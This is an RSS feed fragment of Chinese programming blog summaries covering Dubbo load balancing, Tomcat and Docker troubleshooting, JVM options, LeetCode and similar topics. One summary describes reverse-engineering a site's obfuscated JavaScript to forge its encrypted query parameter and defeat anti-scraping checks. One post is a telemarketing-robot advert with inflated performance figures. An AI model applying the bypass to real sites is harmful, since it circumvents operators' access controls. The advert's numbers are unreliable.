      <link>https://bchobby.github.io/posts/0837c08f72316b2e41aacf4eab0ff023/</link>
      <pubDate>Fri, 05 Jun 2020 19:44:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0837c08f72316b2e41aacf4eab0ff023/</guid>
      <description>2020 年 5 月 15 日，Dubbo 发布 2.7.7 release 版本。其中有这么一个 Features&#xA;新增一个负载均衡策略。&#xA;先看一下提交记录：&#xA;https://github.com/chickenlj/incubator-dubbo/commit/6d2ba7ec7b5a1cb7971143d4262d0a1bfc826d45&#xA;负载均衡是基于 SPI 实现的，我们看到对应的文件中多了一个名为 shortestresponse 的 key。&#xA;这个，就是新增的负载均衡策略了。看名字，你也知道了这个策略的名称就叫：最短响应。&#xA;所以截止 2.7.7 版本，官方提供了五种负载均衡算法了，他们分别是：&#xA;ConsistentHashLoadBalance 一致性哈希负载均衡LeastActiveLoadBalance 最小活跃数负载均衡RandomLoadBalance 加权随机负载均衡RoundRobinLoadBalance 加权轮询负载均衡ShortestResponseLoadBalance 最短响应时间负载均衡 最短响应时间负载均衡&#xA;首先，我们看一下这个类上的注解，先有个整体的认知。&#xA;org.apache.dubbo.rpc.cluster.loadbalance.ShortestResponseLoadBalance&#xA;我来翻译一下是什么意思：&#xA;从多个服务提供者中选择出调用成功的且响应时间最短的服务提供者，由于满足这样条件的服务提供者有可能有多个。所以当选择出多个服务提供者后要根据他们的权重做分析。但是如果只选择出来了一个，直接用选出来这个。如果真的有多个，看它们的权重是否一样，如果不一样，则走加权随机算法的逻辑。如果它们的权重是一样的，则随机调用一个。 再配个图，就好理解了，可以先不管图片中的标号：&#xA;有了上面的整体概念的铺垫了，接下来分析源码的时候就简单了。&#xA;源码一共就 66 行，我把它分为 5 个片段去一一分析。&#xA;这里一到五的标号，对应上面流程图中的标号。我们一个个的说。&#xA;标号为①的部分 这一部分是定义并初始化一些参数，为接下来的代码服务的，翻译一下每个参数对应的注释：&#xA;length 参数：服务提供者的数量。&#xA;shortestResponse 参数：所有服务提供者的估计最短响应时间。（这个地方我觉得注释描述的不太准确，看后面的代码可以知道这只是一个零时变量，在循环中存储当前最短响应时间是多少。）&#xA;shortCount 参数：具有相同最短响应时间的服务提供者个数，初始化为 0。&#xA;shortestIndexes 参数：数组里面放的是具有相同最短响应时间的服务提供者的下标。&#xA;weights 参数：每一个服务提供者的权重。&#xA;totalWeight 参数：多个具有相同最短响应时间的服务提供者对应的预热（预热这个点还是挺重要的，在下面讲最小活跃数负载均衡的时候有详细说明）权重之和。&#xA;firstWeight 参数：第一个具有最短响应时间的服务提供者的权重。&#xA;sameWeight 参数：多个满足条件的提供者的权重是否一致。&#xA;标号为②的部分 这一部分代码的关键，就在上面框起来的部分。而框起来的部分，最关键的地方，就在于第一行。&#xA;获取调用成功的平均时间。&#xA;成功调用的平均时间怎么算的？&#xA;调用成功的请求数总数对应的总耗时 / 调用成功的请求数总数 = 成功调用的平均时间。</description>
    </item>
    <item>
      <title>IDEA Smart Checkout和Force Checkout区别</title>
      <link>https://bchobby.github.io/posts/0121d952a57f81968d89bab67d60a467/</link>
      <pubDate>Fri, 05 Jun 2020 17:09:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0121d952a57f81968d89bab67d60a467/</guid>
      <description>IDEA当在一个分支上修改了内容没有提交，然后切换到其他分支时，可能会发生冲突。&#xA;这时IDEA会弹出提示，问你要选择Smart Checkout还是Force Checkout：&#xA;如果想保留你在原分支上的修改内容，那么选择Smart Checkout,&#xA;Force Checkout不会保留你的修改，切到另一个分支内容就消失了，且切回来原来分支也找不回，白写了。&#xA;原理：&#xA;选择Smart Checkout，IDEA会先执行stash命令，贮存这些未提交的修改，然后checkout 到分支B，在切换到分支B后，unstash 这些修改，所以A分支本地的这些修改会带到B分支上。</description>
    </item>
    <item>
      <title>使用循环完成剪刀石头布游戏</title>
      <link>https://bchobby.github.io/posts/fbead5eda70e3c29a11431dc234b2cf6/</link>
      <pubDate>Fri, 05 Jun 2020 15:06:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbead5eda70e3c29a11431dc234b2cf6/</guid>
      <description>使用循环完成剪刀石头布游戏，提示用户输入要出的拳 ：石头（1）／剪刀（2）／布（3）/退出（4） 电脑随机出拳比较胜负，显示用户胜、负还是平局。运行如下图所示： 提示：电脑随机出拳 使用随机数，首先需要导入随机数的模块 —— “工具包” import random 导入模块后，可以直接在 模块名称 后面敲一个&#34;.&#34;然后按 Tab键，会提示该模块中包含的所有函数 random.randint(a, b)，返回[a, b]之间的整数，包含a和b &#39;&#39;&#39; print(&#39;第一题*********************************************************************************************&#39;) import random # 导入随机数的模块 while True: player = int(input(&#39;请你输入你要的选项 石头（1）／剪刀（2）／布（3）/退出（4）：&#39;)) # 输入选择的选项 if player == 4: # 如果玩家输入4 ，满足条件，执行这个 print(&#39;游戏退出&#39;) break # 退出当前循环 computer = random.randint(1,3) # 电脑随机在1-3之间选择 if ((player == 3 and computer == 1) # 如果玩家出布（3）和电脑出石头（1） 玩家胜利 or (player == 1 and computer == 2) # 如果玩家出石头（1）和电脑出剪刀（2） 玩家胜利 or (player == 2 and computer == 3)): # 如果玩家出剪刀（2）和电脑出布（3） 玩家胜利 print(&#39;玩家选择的出拳是{},电脑出拳的{},玩家胜利！&#39;.</description>
    </item>
    <item>
      <title>Python爬虫进阶必备 | 关于某查猫查询参数的加密逻辑分析</title>
      <link>https://bchobby.github.io/posts/b4dadc19ac0df866f87a9b70b1d1f747/</link>
      <pubDate>Fri, 05 Jun 2020 10:01:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4dadc19ac0df866f87a9b70b1d1f747/</guid>
      <description>关于某查猫查询参数的加密逻辑分析 先上链接：&#xA;aHR0cHM6Ly93d3cucWljaGFtYW8uY29tLw==&#xA;抓包分析 找到要分析的参数，通过首页的检索栏，输入企业名称关键字点击查询就可以抓到类似下面的两个包。&#xA;上图标记出来的mfccode就是需要分析的加密参数&#xA;同样的我留意到在上图选中的上一个请求，看着像加密的请求，接下来通过断点来分析是否为加密位置&#xA;加密定位 在这个请求上打上XHR 断点&#xA;重新发起请求之后就能看到成功断上&#xA;通过分析堆栈找到下图这个位置找到了加密的位置&#xA;通过断点可以找到加密生成的地方&#xA;或者在堆栈的位置找到下图这个位置也可以快速定位到加密的位置&#xA;加密分析 找到加密的位置后接下来就要分析加密的逻辑了，打上断点可以看到这里进入了一个VM中&#xA;我们复制到美化网站中格式化后分析&#xA;在编辑器中可以大致看到这段代码对cookie中的qznewsite.uid字段进行了操作&#xA;最后将 dc方法的结果返回给了window.__qzmcf，这个和我在网页上断点的结果相对应&#xA;只要能跑通这段 js 就可以完成这段加密了。&#xA;经过修改可以正常运行了，主要解决的就是关于 node 中调用 window、document 的问题&#xA;但是将结果带入到 Python 代码里并没有如预期一样返回搜索结果，而是返回了登陆的界面，这个结果让我十分费解。&#xA;刚刚开始一直以为是我爬虫代码的问题，之后突然想到，这个 js 代码是由对方返回给客户端的，所以这个 js 代码应该动态的。&#xA;经过对比，发现mov以及sk的长数组都是动态的，或许还有其他的代码是动态的不过这间接的验证了我的猜测。&#xA;所以 js 加密的代码写死调用是没有办法完成破解的，想通这一点，我只要将返回回来的 js 代码动态的调用就可以了。&#xA;第一步、将 cookie 传入，替换为第一次访问首页返回的 cookie 即可，不过之后测试这一步貌似没有验证，直接写死也是可以的。&#xA;第二步、将服务端返回的动态调用，只要在静态的代码基础上小修一下就行了，例如声明window，document这些操作，之前的文章均有提及&#xA;第三步、调用window.__qzmcf这个方法，完成加密参数的生成&#xA;完成上面的步骤之后重新调用就可以正确拿到网页的结果了。&#xA;总结 有两周没有练习 js 逆向了所以分析的逻辑有点乱，不过大致的分析流程都是类似的，这里一定要说的就是学习 js 真的不吃亏，很多地方都有用到。&#xA;这个网站就这个加密参数有点意思，改写 js 的思路值得学习。&#xA;今天就到这里，下次再会~&#xA;抽奖赠书 今日赠书：《Python 入门到人工智能实战》 《Web 前端性能优化》&#xA;赞助商：北京大学出版社&#xA;书籍介绍：&#xA;《Python 入门到人工智能实战》是针对零基础编程学习者编写的教程。从初学者角度出发，每章以问题为导向，辅以大量的实例，详细地介绍了Python 基础、机器学习，以及最好也最易学习的两个平台PyTorch 和Keras。</description>
    </item>
    <item>
      <title>JCTree方法说明</title>
      <link>https://bchobby.github.io/posts/840b20bfaaff2b7f514a72e4ae046b11/</link>
      <pubDate>Thu, 04 Jun 2020 21:18:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/840b20bfaaff2b7f514a72e4ae046b11/</guid>
      <description>环境 MacBook Pro&#xA;Java：1.8&#xA;前言 想弄懂抽象语法树，还得明白相关方法；&#xA;想要利用自定义注解写方法，就是在重载方法visitClassDef中，&#xA;利用jcClassDecl.defs.prepend()，把新方法加入到源代码中。&#xA;如何写新方法呢？&#xA;① 生成表达式 — 其实就是方法体的内容&#xA;例如：&#xA;public void getPerson(String name) { this.name = name; } 例子中，this.name = name;就是表达式；&#xA;② 生成方法体；&#xA;就是在生成表达式的基础上，把{ }补上；&#xA;{ this.name = name; } ③ 生成入参&#xA;上例中就是String name&#xA;④ 生成返回值&#xA;上例中就是void；&#xA;⑤ 生成最终方法&#xA;利用方法treeMaker.MethodDef就可以生成了；&#xA;treeMaker.MethodDef( treeMaker.Modifiers(Flags.PUBLIC), //访问标志 names.fromString(&#34;&amp;lt;init&amp;gt;&#34;), //名字 treeMaker.TypeIdent(TypeTag.VOID), //返回类型 List.nil(), //泛型形参列表 List.nil(), //参数列表 List.nil(), //异常列表 jcBlock, //方法体 null //默认方法（可能是interface中的那个default） ); 其实通过MethodDef方法的参数，就知道我们需要干什么了；&#xA;TreeMaker treeMaker.VarDef() 用于创建字段/变量定义语法树节点（JCVariableDecl）；&#xA;源码：&#xA;public JCVariableDecl VarDef(JCModifiers mods, Name name, JCExpression vartype, JCExpression init) { JCVariableDecl tree = new JCVariableDecl(mods, name, vartype, init, (VarSymbol)null); tree.</description>
    </item>
    <item>
      <title>Tomcat部署javaweb项目遇到的奇怪问题</title>
      <link>https://bchobby.github.io/posts/564b7624157f4438f1938bba6689b794/</link>
      <pubDate>Thu, 04 Jun 2020 16:29:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/564b7624157f4438f1938bba6689b794/</guid>
      <description>问题：tomcat部署javaweb项目（war包）后，启动正常，但是项目页面不能访问。 环境：Linux下tomcat9.0.27。 排查： 1.首先排除启动异常，无论是tomcat日志还是应用自身的日志，都没有异常记录；&#xA;2.然后排除端口和路径异常，tomcat首页（猫图）可以正常访问，且webapps文件夹下新建静态资源页面可以访问到。但是项目页面不能访问，也不返回404，就是一片空白。若输入错误的项目名，则会返回404；（网上多数都是这里的问题，但我不是-_-||）&#xA;3.然后排除项目本身的异常，在其他服务器上，同版本的tomcat部署同样的war包，启动后可以正常访问，且在这个访问不了的服务器上，项目后台一直在运行，每天设置的定时任务都可以正常执行并产生日志。&#xA;推测： 如此看来，很可能就是目标机器的环境问题了，上过linux的都知道，这个环境要素是相当重要的，无论在上面干点啥都敏感得一批，稍有不慎就会丢给你一堆莫名其妙、刷新你三观的问题。既然tomcat可以正常启动，且webapps下的纯静态资源可以访问到，那么，就很可能是tomcat对java资源的编译问题了。&#xA;项目用的是jsp页面（甲方要求的），小众所知，tomcat上的jsp页面，会随着浏览器请求逐一编译成java和class文件，并存放在work目录下。查看了一下work目录，下面有Catalina/localhost/项目名/org/apache/jsp/项目jsp资源路径，里面对应于所有被访问到的jsp页面生成了一对.java、.class文件，如index.jsp被访问过就会有index_jsp.java和index_jsp.class这对cp，一次访问，终身保留，以后每次光顾的都是这里，直到资源被修改或服务重启。没有被请求过的资源则不会出现在这里。&#xA;我看到的这个work目录下，只有index.jsp被编译进来，因为其他的根本没机会被请求。问题是这个index既然进来了，就表明请求已经收到，那为何不返回给客户端呢？洗都洗好了，不让人碰，什么情况？是编译后的index异常，拿不出手？还是中间被什么拦截了？放一个在别的地方被正常使用过的index_jsp.java和index_jsp.class来替换一下试试吧。（实际并没有试，因为发现问题可能不在这里。）&#xA;（未完待续……） 书接上回…… 昨天突然想到一个问题，项目的首页jsp并没有什么实际内容，在被访问到的时候，它会判断一下当前用户状态，然后跳转到其他页面。所以，在linux上直接用curl http://....访问，会被瞬间弹走。那么就要加上另一个option了，这样：curl -L http://.....，哎，这回有内容了，果然是跳转后的页面！那么本地访问是没问题的，不信的话进到work里面再去看看，果然又多了一对刚才访问到的页面编译后的java类文件。这时又想到另一个文件（之前就是没关注这个，后来经人提醒才想到。。。），tomcat/logs下面的访问日志“localhost_access_log.2020-06-08.txt”，这里面存有所有成功抵达的来访记录，包括来访者IP、时间、请求方式、请求资源以及返回的http状态码。看了下，刚才的访问果然有记录：&#xA;127.0.0.1 - - [08/Jun/2020:09:37:18 +0800] &#34;GET /xmm HTTP/1.1&#34; 302 - 127.0.0.1 - - [08/Jun/2020:09:38:10 +0800] &#34;GET /xmm/index.jsp HTTP/1.1&#34; 302 - 127.0.0.1 - - [08/Jun/2020:09:47:12 +0800] &#34;GET /xmm/ HTTP/1.1&#34; 302 - 127.0.0.1 - - [08/Jun/2020:09:47:12 +0800] &#34;GET /xmm/login/main.do?reqId=10010 HTTP/1.1&#34; 302 - 127.0.0.1 - - [08/Jun/2020:09:47:12 +0800] &#34;GET /xmm/login/login.do;jsessionid=D570B19A7F2B44C05FD425E2DD659011 HTTP/1.1&#34; 200 10086 127.0.0.1 - - [08/Jun/2020:09:55:43 +0800] &#34;</description>
    </item>
    <item>
      <title>如何检查可见DOM中是否存在元素？</title>
      <link>https://bchobby.github.io/posts/c3a28748a800f5aac3fea2bd258c8ce3/</link>
      <pubDate>Thu, 04 Jun 2020 16:03:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3a28748a800f5aac3fea2bd258c8ce3/</guid>
      <description>本文翻译自：How to check if element exists in the visible DOM?&#xA;How do you test an element for existence without the use of the getElementById method? 如何在不使用getElementById方法的情况下测试元素是否存在？ I have setup a live demo for reference. 我已经设置了一个现场演示供参考。 I will also print the code on here as well: 我也会在这里打印代码： &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;script&amp;gt; var getRandomID = function (size) { var str = &#34;&#34;, i = 0, chars = &#34;0123456789abcdefghijklmnopqurstuvwxyzABCDEFGHIJKLMNOPQURSTUVWXYZ&#34;; while (i &amp;lt; size) { str += chars.</description>
    </item>
    <item>
      <title>【AI人工智能电销机器人】电销企业BOSS的福音</title>
      <link>https://bchobby.github.io/posts/ba58a2aaab547a04300a1e45a40ad804/</link>
      <pubDate>Thu, 04 Jun 2020 15:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba58a2aaab547a04300a1e45a40ad804/</guid>
      <description>科技不断进步的今天，传统的电销模式己经满足企业公司的需求了，ai人工智能电销机器人的诞生，可以所以所有电销企业BOSS的福音，以往的招聘难，人员流失严重，工作效低，人工成本高等等问题都能得到缓解，而电销人员也能解放双手，更好更轻?的去完成业绩，跟进客户，AI技术发展到现在这个阶段，电销行业成为了第一批的受益者!ai人工智能电销机器人将改变未来企业和公司的营销方式。&#xA;早在几年前，国家曾发布《机器人产业发展规划(2016-2020)》的通知，对人工智能将对生活做出的改变进行初步规划，更预言人工智能将会使目前的商业模式发生质变。许多人觉得人工智能离自己的生活还十分遥远，替代目前的人工劳作更是遥不可及。但是，事实上，近几年 人工智能在飞速发展，并且改变着每个人的生活。举个简单的例子，我们手机里的siri，它可以帮助你打电话、发邮件、打开聊天设备、社交工具，我们感叹着“siri好智能”的同时，已经成为了人工智能的受益者。更别说现在的智能家电，回到家自动开灯、晚上睡觉自动拉窗帘……这些智能的操作已经渗透了我们生活的方方面面。&#xA;更加令人欣喜的是，随着智能语音技术的不断发展、技术层面的不断升级，学习算法的不断完善，如易网行一般的智能电销机器人不断涌现，成为电销行业不可或缺的重要“成员”，企业的电话外呼系统从此开始由人工向智能转型。“人工智能的出现将会大规模淘汰低技术工作人群，并且还会保持一定的速度逐步淘汰高技术工作人群”。智能电销机器人——使企业成本不升反降许多企业主担心，智能电销机器人会使企业运营成本上升，其实这种担心是完全没有必要的，因为实际上恰恰相反，智能电销机器人让企业成本不升反降。有了电销机器人，企业减少了不稳定的人员支出，以云蝠电销机器人为例，每台机器人每天的外呼能达到5000次，节省了人工电话的时间和精力，又能帮助企业减少招聘成本和管理成本等开销。没有人员雇佣费、培训费、五险一金……各种费用的消耗，可以说是从根本上解决企业的人力支出!&#xA;人工智能的发展有目共睹，选择合适的智能电销机器人，才能在激流勇进的电销行业不输在起跑线上。深圳市易网行科技有限公司就是研发AI电话营销系统的商家：易网行AI电话机器人具有话术配置，真人语音，识别准确，支持打断，多轮会话，智能拨打，智能沟通，自动记录，自动分类分析，数据挖掘等功能，可满足个性化消费需求，截至目前为止已服务个人与企业超过1000家；帮助企业极大降低企业运营成本，快速提升企业运营效率，打造财富，信息，资源平台，共享智能时代新红利。实现运营成本减少50%以上显著效果！&#xA;产品特色：100%真人式语音------高能力语音理解------自主开展工作-------阿里云识别技术--------自由选择时段拨打&#xA;能帮你解决的问题：销售业绩提高300%-----工作效率提升13倍-----人工成本降低80%-----客户满意度提升50%-----管理成本降低50%-----转化率提高30%-----拓客量提升8倍&#xA;现在来说，电销机器人是一个机遇，就看这几年，电话机器人如雨后春笋般大量出现，就知道未来电销行业的趋势，每个公司的电话营销部门必将会配备电话机器人，如果再不抓紧机会，就会跟不上时代的变化，终将会被淘汰！</description>
    </item>
    <item>
      <title>【踩坑】aspose-words转换word至pdf表格变窄</title>
      <link>https://bchobby.github.io/posts/eaf19fafcc98c87bc93b5761f882b8a1/</link>
      <pubDate>Thu, 04 Jun 2020 10:51:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaf19fafcc98c87bc93b5761f882b8a1/</guid>
      <description> 问题： 在对aspose-words for java的使用中发现了一个问题&#xA;我使用的版本是19.1和19.10（若是有小伙伴需要jar包，可私信我发送）&#xA;个别表格转成PDF之后会变窄，但是在windows下用office转是没有问题的。&#xA;这个表格是用python docx生成的，也设置了列宽，但是转PDF之后，列宽设置失效。&#xA;生成的word随便修改点什么，再次转换就成功。&#xA;询问作者之后，这个确实是个BUG，之后若是解决，我会再次补上解决办法。&#xA;解决： 上述问题是因为表格可以自适应，因此生成word的时候，表格会变窄，这个确实是aspose-words的BUG，不过我们也可以避免这个问题.&#xA;去掉表格自适应&#xA;table.autofit = False&#xA;doc = DocxTemplate(template_dir) sd = doc.new_subdoc() table = sd.add_table(rows= 4, cols=3, style=&#39;outertable&#39;) table.autofit = False </description>
    </item>
    <item>
      <title>C#实现RESTFUL接口三板斧</title>
      <link>https://bchobby.github.io/posts/0fea958be48b5f9182a349e62f6ed5af/</link>
      <pubDate>Wed, 03 Jun 2020 18:10:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fea958be48b5f9182a349e62f6ed5af/</guid>
      <description>C#实现Web格式的API有很多种方法，包括：&#xA;1、直接用webform窗体实现，这是需要把窗体上的除了第一行的代码全删了，主要靠Page_load中写代码，利用webform提供的server、page、上下文等对象解释参数，和返回数据。&#xA;2、还有一种不是webform窗体，可以调用 *.ashx (一般处理程序)，它和aspx一样都实现了IHttpHandler接口。&#xA;3、还可以使用在aspx.cs中中声明带有[WebMehtod]的public static 的方法。&#xA;4、另外，.net还提供了web service框架、web api框架，但都太麻烦，需要生成一堆辅助类，我虽然大致明白是什么意思，但用起来太繁琐。&#xA;我最后采用了第3种方法。生成一个webform窗体，作为总入口，[WebMehtod]声明的方法似乎只支持json格式数据、post请求，当用get方法式会调用page_load，这时正好可以把API说明都放在页面里。另外为了避免特殊字符，建议用json序列化方法，这样单引号双引号等特殊字符都不用你处理了。为了方便json序列化，就需要客户端和服务端共享一些类说明。当然，你也可以直接拼接字符串，但json格式字符串容易把人搞晕。&#xA;web方法声明形如：&#xA;[WebMethod(EnableSession = false)]&#xA;public static string InsertColumn(string str参数1, string str参数2)&#xA;{&#xA;return “”;&#xA;}&#xA;javascript调用形如：&#xA;$.ajax({&#xA;type: &#34;POST&#34;,&#xA;contentType: &#34;application/json&#34;,&#xA;url: &#34;logview.aspx/InsertColumn&#34;,&#xA;data: &#34;{\&#34;intID\&#34;:&#34; + intErrorMaxID + &#34;}&#34;,&#xA;dataType: &#39;json&#39;,&#xA;success: function (result) {&#xA;if (result.d == &#34;&#34;)&#xA;return;&#xA;var obj = JSON.parse(result.d); var BugListJson = obj.T1;&#xA;.........&#xA;}&#xA;}&#xA;});&#xA;C#调用形如：&#xA;WebClient wc;&#xA;wc = new WebClient();</description>
    </item>
    <item>
      <title>Python 天气 简单 数据分析及可视化</title>
      <link>https://bchobby.github.io/posts/43ba6cbc0dc6a01ade38db06ff50929e/</link>
      <pubDate>Tue, 02 Jun 2020 22:05:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43ba6cbc0dc6a01ade38db06ff50929e/</guid>
      <description>Python 天气情况数据分析及可视化 环境配置 Pycharm开发环境 python 版本 python3.7 Anconda 集成开发环境 第三方库导入 ## pip install 模块 清华大学镜像源 import requests from bs4 import BeautifulSoup import io import sys import pandas from matplotlib import pyplot as plt 步骤 1.爬虫requests 获取数据 2.pandas 处理数据 3.matplotlib 绘制图形 4.其他 保存数据进入csv格式，简单处理，例如雷达图 小案例 雷达图 #-*- codeing = utf-8 -*- #@Time : 2020/6/2 20:07 #@Author : dele #@File : demo.py #@Software: PyCharm # 雷达图 import pygal # pip install pygal 安装模块 rader_chart = pygal.</description>
    </item>
    <item>
      <title>cannot create network xxx(br-xxx) conflicts with network yyy(br-yyy) networks have overlapping IPv4</title>
      <link>https://bchobby.github.io/posts/cc9646b34261b94847bc91d734e7d81d/</link>
      <pubDate>Mon, 01 Jun 2020 22:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc9646b34261b94847bc91d734e7d81d/</guid>
      <description>执行 docker stack deploy -c docker-compose.yml stack-demo 时报错cannot create network xxx(br-xxx) conflicts with network yyy(br-yyy) networks have overlapping IPv4&#xA;具体报错信息 cannot create network aa90481a88226785be9da4cffdc97415051b2025dbe267f992422bc56efe7a1f (br-aa90481a8822): conflicts with network b811025ad90df8b5de6e551bec44ef795b95d75cbc17e0a8802f7cceac269f39 (br-b811025ad90d): networks have overlapping IPv4 表示将要创建的网络aa90481a8822 和 原有网络b811025ad90d 冲突。&#xA;排查 执行 docker network ls 查看docker网络&#xA;如果看到冲突网络id存在于docker网络列表中，可以通过移除冲突网络解决此问题： docker network rm b811025ad90d&#xA;如果冲突网络id不存在于docker网络列表，则继续： 执行 ip addr 查看服务器的网络配置，发现确实有相应id的网桥，而且是DOWN状态&#xA;删除掉网桥 brctl delbr br-b811025ad90d&#xA;（如果没有brctl命令，通过 yum install -y bridge-utils 安装）&#xA;重启docker服务即可 systemctl restart docker&#xA;reference：</description>
    </item>
    <item>
      <title>关于IDEA 导入 gradle 项目堆内存溢出的解决方法（gradle VM options 配置）</title>
      <link>https://bchobby.github.io/posts/c7f96da6f807515ea58599828208b0fd/</link>
      <pubDate>Mon, 01 Jun 2020 19:53:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7f96da6f807515ea58599828208b0fd/</guid>
      <description>Exception in thread &#34;main&#34; java.lang.OutOfMemoryError: GC overhead limit exceeded 2020-1.1及之前 2020-1.4见底部（所有的都可用底部）&#xA;公司项目用的是gradle,项目较大，当重新导入项目时发生了堆内存溢出&#xA;找了很长时间没找到解决办法；&#xA;之后看到了有关IDEA 导入 Maven 项目 Tomcat VM options 配置的文章&#xA;于是照猫画虎的配置了一下；&#xA;因为之前有报错说1024M 内存不够&#xA;所以将最大内存设置成了-Xmx2048m&#xA;需要设置多项时用空格 隔开&#xA;其余可以设置项：&#xA;-Xms768m：设置JVM初始堆内存为768m。此值可以设置与-Xmx相同，以避免每次垃圾回收完成后JVM重新分配内存。&#xA;-Xmx768m：设置JVM最大堆内存为768m。&#xA;-Xss128k：设置每个线程的栈大小。JDK5.0以后每个线程栈大小为1M，之前每个线程栈大小为256K。应当根据应用的线程所需内存大小进行调整。在相同物理内存下，减小这个值能生成更多的线程。但是操作系统对一个进程内的线程数还是有限制的，不能无限生成，经验值在3000~5000左右。需要注意的是：当这个值被设置的较大（例如&amp;gt;2MB）时将会在很大程度上降低系统的性能。&#xA;-Xmn2g：设置年轻代大小为2G。在整个堆内存大小确定的情况下，增大年轻代将会减小年老代，反之亦然。此值关系到JVM垃圾回收，对系统性能影响较大，官方推荐配置为整个堆大小的3/8。&#xA;-XX:NewSize=1024m：设置年轻代初始值为1024M。&#xA;-XX:MaxNewSize=1024m：设置年轻代最大值为1024M。&#xA;-XX:PermSize=256m：设置持久代初始值为256M。&#xA;-XX:MaxPermSize=256m：设置持久代最大值为256M。&#xA;-XX:NewRatio=4：设置年轻代（包括1个Eden和2个Survivor区）与年老代的比值。表示年轻代比年老代为1:4。&#xA;-XX:SurvivorRatio=4：设置年轻代中Eden区与Survivor区的比值。表示2个Survivor区（JVM堆内存年轻代中默认有2个大小相等的Survivor区）与1个Eden区的比值为2:4，即1个Survivor区占整个年轻代大小的1/6。&#xA;-XX:MaxTenuringThreshold=7：表示一个对象如果在Survivor区（救助空间）移动了7次还没有被垃圾回收就进入年老代。如果设置为0的话，则年轻代对象不经过Survivor区，直接进入年老代，对于需要大量常驻内存的应用，这样做可以提高效率。如果将此值设置为一个较大值，则年轻代对象会在Survivor区进行多次复制，这样可以增加对象在年轻代存活时间，增加对象在年轻代被垃圾回收的概率，减少Full GC的频率，这样做可以在某种程度上提高服务稳定性。&#xA;标准参数 所有JVM都必须支持这些参数的功能，而且向后兼容（）；例如：&#xA;-client——设置JVM使用Client模式，特点是启动速度比较快，但运行时性能和内存管理效率不高，通常用于客户端应用程序或开发调试；在32位环境下直接运行Java程序默认启用该模式。&#xA;-server——设置JVM使Server模式，特点是启动速度比较慢，但运行时性能和内存管理效率很高，适用于生产环境。在具有64位能力的JDK环境下默认启用该模式。&#xA;非标准参数（-X），默认JVM实现这些参数的功能，但是并不保证所有JVM实现都满足，且不保证向后兼容；&#xA;非稳定参数（-XX），此类参数各个JVM实现会有所不同，将来可能会不被支持，需要慎重使用；&#xA;之后又找到一篇关于 VM options 配置的文章&#xA;-Xms2048m -Xmx2048m -XX:MaxMetaspaceSize=512m -XX:MetaspaceSize=512m -XX:InitialBootClassLoaderMetaspaceSize=64M -XX:NewRatio=2 -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=6 -XX:+UseConcMarkSweepGC -XX:CMSFullGCsBeforeCompaction=5 -XX:+CMSParallelRemarkEnabled -XX:+CMSClassUnloadingEnabled -Xss1024k -XX:+DisableExplicitGC -XX:+ExplicitGCInvokesConcurrentAndUnloadsClasses -XX:ReservedCodeCacheSize=240m -XX:SoftRefLRUPolicyMSPerMB=50 -ea -Dsun.io.useCanonCaches=false -Djava.</description>
    </item>
    <item>
      <title>LeetCode 例题精讲 | 16 最大子数组和：子数组类问题的动态规划技巧</title>
      <link>https://bchobby.github.io/posts/7c81afb96e6fd1cf48017f267fd4b0e7/</link>
      <pubDate>Mon, 01 Jun 2020 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c81afb96e6fd1cf48017f267fd4b0e7/</guid>
      <description>来源：面向大象编程&#xA;本期例题：&#xA;LeetCode 53. Maximum Subarray Sum 最大子数组和（Easy）&#xA;LeetCode 718. Maximum Length of Repeated Subarray 最长公共子数组（Medium）&#xA;在前面的文章中，我们分别讲解了一维和二维动态规划问题的解题步骤与基本思路。不过，仅仅掌握基本步骤是不够的。要想熟练做出动态规划题目，还要掌握足够的解题技巧。&#xA;接下来的文章中，我会讲解动态规划问题中针对不同类型问题的小技巧。今天要讲的是关于「子数组」类题目的常见技巧。&#xA;在讲具体问题之前，我们要明确一下「子数组」和「子序列」的概念。&#xA;子序列 (subsequence) 可以是不连续的。例如 &#34;ACD&#34; 是 &#34;ABCDE&#34; 的子序列；&#xA;子数组 (subarray)、子串 (substring) 必须是连续的。例如 &#34;BCD&#34; 是 &#34;ABCDE&#34; 的子数组/子串。&#xA;我们前面的例题中讲过的最长公共子序列问题，关注的是「子序列」，而今天的文章我们要关注的都是「子数组」，请牢记这一点。&#xA;这篇文章的内容包括：&#xA;子数组类问题的动态规划技巧&#xA;「最大子数组和」问题的解法&#xA;「最长公共子数组」问题的解法&#xA;最大子数组和 LeetCode 53. Maximum Subarray Sum 最大子数组和（Easy）&#xA;给定一个整数数组 nums ，找到一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。&#xA;示例:&#xA;输入: [-2,1,-3,4,-1,2,1,-5,4], 输出: 6 解释: 连续子数组 [4,-1,2,1] 的和最大，为 6。 子问题定义的错误尝试 拿到这道「最大子数组和」问题，如果直接把动态规划的解题四步骤往上套，那么你可能首先会想到这么定义子问题：&#xA;子问题 表示「nums[0..k) 中的最大子数组和」。&#xA;子问题定义的尝试 很不幸，这么定义子问题是行不通的。因为这么定义的话，我们无法写出子问题的递推关系！&#xA;我们用一个实际的例子 [-1, 2, 3, -2, 4, 1] ，看看每个子问题计算的结果：</description>
    </item>
    <item>
      <title>我去，这么简单的三目运算符竟然也有这么多坑?|踩坑指南</title>
      <link>https://bchobby.github.io/posts/ff366381b43352c81d9421899929d3d3/</link>
      <pubDate>Mon, 01 Jun 2020 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff366381b43352c81d9421899929d3d3/</guid>
